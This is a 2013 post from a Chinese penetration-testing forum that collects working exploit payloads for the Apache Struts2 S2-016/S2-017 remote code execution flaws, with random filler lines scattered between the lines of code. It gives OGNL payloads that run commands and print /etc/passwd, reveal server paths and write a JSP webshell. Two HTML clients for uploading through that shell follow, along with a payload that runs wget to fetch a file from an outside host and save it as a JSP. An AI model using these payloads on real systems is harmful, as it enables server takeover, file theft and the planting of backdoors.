中国网络渗透测试联盟
标题:
Struts2 S2-016/S2-017漏洞执行代码
[打印本页]
作者:
admin
时间:
2013-7-18 23:03
标题:
Struts2 S2-016/S2-017漏洞执行代码
大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。
# C& a& l s4 i9 D- F: c, V" W" G
4 m5 q! h+ H; H; }
喜欢就点一下感谢吧^_^
! k4 B9 _1 w+ V
! x0 ]+ m! W0 s% }6 ^% a: m
带回显命令执行:
U. ]6 Y0 X% a$ R7 {) G
2 A) L' i0 y" ^+ T% q
http://www.example.com/struts2-blank/example/X.action?redirect:
${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
5 K+ j4 i9 u9 R
+ w7 \/ \* @/ A L! p- P
( F4 R! Q; _; ~- n8 V! j! [
5 c0 Y" R3 Q4 k" p
% u0 o& k' C5 o: M, r* z6 q
2 T! \; {- D J
2 e0 {% w+ b7 D- b! Z: @
* j" P! n$ w( M' k1 L
爆路径:
$ N. o' M( P; ^2 c; v) d
/ ^$ S5 K& Y3 B0 |7 n7 q
http://www.example.com/struts2-b ... 8%29.close%28%29%7D
" g1 T) ] n& q. [$ L
; x" z- [ Q0 b5 [
* k5 _& ?5 |2 e2 P' ~
( O, I2 V! k; r
. Z" x! K$ K& L' w" F
5 `' A% X. i2 Q$ O% F0 b! X; [
写文件:
8 A- ]9 S, u! k
. I% Y' B1 x5 x4 `
http://www.example.com/struts2-blank/example/X.action?redirect:
${
7 p, Q8 t. R% e" q7 {& G8 b2 F8 z
* d; ?: }5 }0 B. x0 u
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
: a4 g1 `# r2 q4 G
/ ]: W7 Z6 A( U, p$ \! E% ?
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
# m7 }: h" E2 i3 i
( @; Q3 G7 U) A1 s# d2 z5 ^
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
: I# T7 w' N4 p# m2 a" }( y
" X8 C0 t+ G) a' A/ g# Z9 a, `
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
9 o+ E; D5 q% \& q9 ]7 n
! Q) B9 s9 g+ `# J) _( R
; H- q0 P" d+ v9 ]* N, v
4 i/ T9 {' ]3 p" ^" N
写入的文件内容:
! s5 {; H, i- R
6 l) m8 h5 j- H. g. B3 O, L* |
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
+ i6 f4 F* _1 I1 @/ u* x5 c
/ F5 T9 Z0 p8 U7 J! M% ?
其实就是一个jsp的小马,需要客户端配合
1 x0 n2 {$ W ^# b+ j
$ V; ^* F: m1 }5 [
函数f是文件名,t是内容
( {, q1 e a* \- S, w% l, T# d
6 S7 n/ A' z. A5 j
客户端:
4 Q( a# h& l0 @9 W# G& s5 F
2 G, f+ W; F. M n5 {8 ?0 w
<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">
# z) f3 \% k9 j n6 w9 m. ]
$ c, Y0 T0 ?. `$ ]4 b
<textarea name=t cols=120 rows=10 width=45>your code</textarea>
5 y1 m. u( X6 P/ y9 O
$ P4 H7 O: c+ U x. K8 r& \
<center>
2 O6 b4 k. m. q: w9 l7 a
Y* G6 B2 z5 M4 O& ~7 @
1 G/ J) ^* q, E
: k9 D. }6 x' D* B! r
<input type=submit value="提交">
5 ]1 R- G3 }; V9 Y$ |
^7 V: J% K% D, T6 x& n* j7 L5 l" t
</form>
* c# F4 G; C! G9 ^
0 D" N5 G% e- M. }) W. W0 D
就在当前目录建立一个fjp.jsp
% C) _# z, @0 j- j
5 U7 u3 Q# \1 U0 m1 O, X& y1 u/ M
shell:
http://www.example.com/struts2-blank/example/fjp.jsp
5 p8 v) M/ z' ?
$ L( |' `/ C8 o; S7 Y
H4 p1 C1 [, C4 T5 r9 s
9 u# S7 y- ?1 D! v3 j
还有@园长的一个客户端:
1 N7 n% j0 c4 b' {! t
! J0 S8 Z8 v0 x3 L& p2 y& H5 G/ G
<html>
& q6 A; s! d2 |. u8 s& ^6 |
& ~& e5 _. Z+ w. R Q9 S- z
<head>
5 P/ D& G1 y& m8 p
/ h; ^# i9 j3 ]9 Q1 K! O) x! i
<meta http-equiv="content-type" content="text/html;charset=utf-8">
* T/ N! b* {$ G' i5 x5 I) c! ?
0 E7 [# y& P% _9 @ |
<title>jsp-园长</title>
* H0 ?" W/ o; f/ U
- H9 j: J5 N O7 m, b3 ?$ B
</head>
% P7 j8 f: ]! Y# j8 D+ P
* P+ p- I' ?3 C& V; m" {; R
<style>
1 G8 z$ s6 \' K+ @6 C( k1 V
6 l: F+ I& i0 A4 k0 w! x
.main{width:980px;height:600px;margin:0 auto;}
. _/ c% A6 T h* Y8 W- k
' g x; s- x: n r
.url{width:300px;}
8 E* \! x3 ]. v, N: H# H r
' M8 t1 `5 m6 r- z) t
.fn{width:60px;}
( ^8 ^9 f- _. w. |! i
! R4 t/ `) o& I( U s4 _1 G" x' R. d, H" h
.content{width:80%;height:60%;}
: a7 M$ S0 {9 K/ i' n9 a
! r1 |; F% h9 S: n" {9 T
</style>
( S) V7 [! [8 S" Y9 ^5 f1 e* T1 o# C
3 k& T" r2 D" b0 O% x
<script>
* `+ B9 y* a1 \$ z; C
0 L- C8 C) J8 f/ K- s+ `* U3 j
function upload(){
* O, h. D; d0 c$ w5 I. W5 d
% B5 j: g5 o& e3 f O
var url = document.getElementById('url').value,
( ^+ e N4 u( s) v7 q
; I z; H% s. X% s5 B& F
content = document.getElementById('content').value,
5 D7 u# c/ }, K, Q* H
+ E) ~4 t6 I6 Y( \# Q- w8 v
fileName = document.getElementById('fn').value,
! o; i7 I! k' S( \4 k. J" v7 O% k
, D5 t4 P0 D4 W6 {3 I6 c [: M- P
form = document.getElementById('fm');
" X. P& S- M& \5 p$ F' c$ i
; m, g7 z- b6 Q1 O; P1 U0 N
if(url.length == 0){
4 g( d' w4 `5 r% b2 v1 m$ ?
7 y& D' G+ q& O w- x
alert("Url not allowd empty!");
7 B/ _$ g; o: e' Y
/ ]/ l Q) [7 [: J, q" u Y
return ;
; m; k7 l6 E( q# S& A& L, |
' P( e4 w, j! w* e- h
}
+ ]: z* [5 t- H
* \+ o5 P4 R* m0 H, @ q
if(content.length == 0){
% P) v: j/ z1 O. B- [
' r! w) Z% T) D) v& N1 s
alert("Content not allowd empty!");
" e6 v: u6 H3 }1 Q; v; k$ J2 d
- i: |/ c. A% j- S
return ;
+ Q, f4 Z) R# \ @ t7 y( M6 g0 s+ x$ T
9 `4 m% f) C* S5 x: v. p9 w
}
0 T( l# C' z Z5 }: O
: E+ }# g$ E- [4 X# B; Q" _
if(fileName.length == 0){
% d/ @4 S1 R' z
A, s0 t8 u8 V
alert("FileName not allowd empty!");
& u; a' I5 G3 `. T
+ s7 J" m( ?: G/ {8 T
return ;
) Q7 S3 u5 i& I, z5 ~% m- g
8 Y q# W" X) G/ u0 o0 D
}
% B& [4 C: B( u! \. c# u: E: D
2 ^+ ]4 q' y4 }( z5 K' E! ^3 W5 T
form.action = url;
T/ ^# V8 h; H; _, v7 `; L0 p0 X
4 p. Q- K- ?( g( f
form.submit();
; W: T5 G& ^- {7 @9 ~5 x7 k
& Q: U ]$ d6 D6 d7 [
}
3 e* }2 G' n6 L% H
* ~! V# q+ z" G) d! }& z
</script>
3 r- p- h% d# S
1 ~/ v- M+ ~ z, F. z/ I( W8 ~& H
<body>
$ q: \* F7 S, J
+ c3 ]. b! F/ [* Z7 }
<div class="main">
9 B" X6 b0 E9 C
; R' I# j4 \; }7 w) d
<form id="fm" method="post">
: `/ E4 v7 F$ N3 f. m0 d
. B7 i7 D7 k5 I( \1 V
URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>
# X- ^: l0 ^& m9 X- D$ c" Z0 _7 q
* O: I9 K/ q# F
FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />
) M6 b3 p/ L0 v! t8 q
3 W4 _% {! G7 D0 g! T
<a href="javascript:upload();">Upload</a>
) H) H0 w; T4 ^3 j- h% c
+ O) q; ]. k* j
n: f: G; B. ~& O9 F$ X
3 ~) `5 b" e c
<textarea id="content" class="content" name="t" ></textarea>
# i1 _6 J. R; v% l' Y% B
( w+ h: R% \0 E% S/ z
</form>
: h! c$ h6 W( Y3 u% w
9 J5 w7 s& r& X2 u
</div>
/ F# k' Z$ W' [* E1 B- r: }7 H
0 A0 E/ C4 N0 ^0 |/ ~
</body>
! O' x( w* J3 K" s8 q
0 q* C$ P( C* W( ]! k+ P. }
</html>
. R* E" U' B# a, E$ X% |% F
3 `, W/ J: e; i4 f
) _) W. n; }: `8 B2 j) c5 |
$ O1 i* c- L& `2 i4 b, }( j
还有@X发的一个wget的getshell
5 {$ S& ~. k* ~5 ?5 R$ c
; o$ Q, S7 n% a+ s$ b6 |* k3 \
?redirect
{%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}
3 d1 |$ y- y6 H2 L+ D3 t/ O$ \( S; d
7 N3 B1 H/ h; n0 W
)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}
* t9 u/ `# G" D
复制代码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2